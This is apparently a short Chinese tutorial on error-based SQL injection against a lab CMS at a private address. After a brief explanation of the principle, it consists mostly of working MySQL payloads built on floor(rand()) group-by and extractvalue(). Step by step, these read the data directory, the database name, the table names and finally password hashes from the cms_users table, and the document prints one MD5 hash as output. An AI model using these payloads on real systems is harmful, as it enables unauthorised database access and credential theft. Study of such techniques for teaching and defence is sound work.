1、报错注入原理
主要是通过在输入框中,用有限的可控参数,构造指定的错误,让其在前端页面显示报错信息,可以获取到最终的信息
当我们使用SQL注入的时候,如果使用and 1=1
没有回显信息,然后输入错误的信息,有报错的时候,可以使用报错注入
在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。
2、查询出数据库的路径
http://192.168.79.147/cms/show.php
?id=-33 and (select 1 from (select count(*),concat(0x5e,(select @@datadir),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
3、查询出当前网页使用的数据库名称
http://192.168.79.147/cms/show.php
?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e))
4、查询出数据库的所有表名
http://192.168.79.147/cms/show.php
?id=33 and extractvalue(1,concat(0x5e,(select table_name from information_schema.tables where table_schema='cms' limit 7,1),0x5e))
#limit 查询从第七个开始,查询一个
5、查询出数据库的表的密码
每次查询一列,只能查询指定的长度的字符
http://192.168.79.147/cms/show.php
?id=33 and extractvalue(1,concat(0x5e,(select substr(password,17,32) from cms_users limit 0,1),0x5e))
e10adc3949ba59abbe56e057f20f883e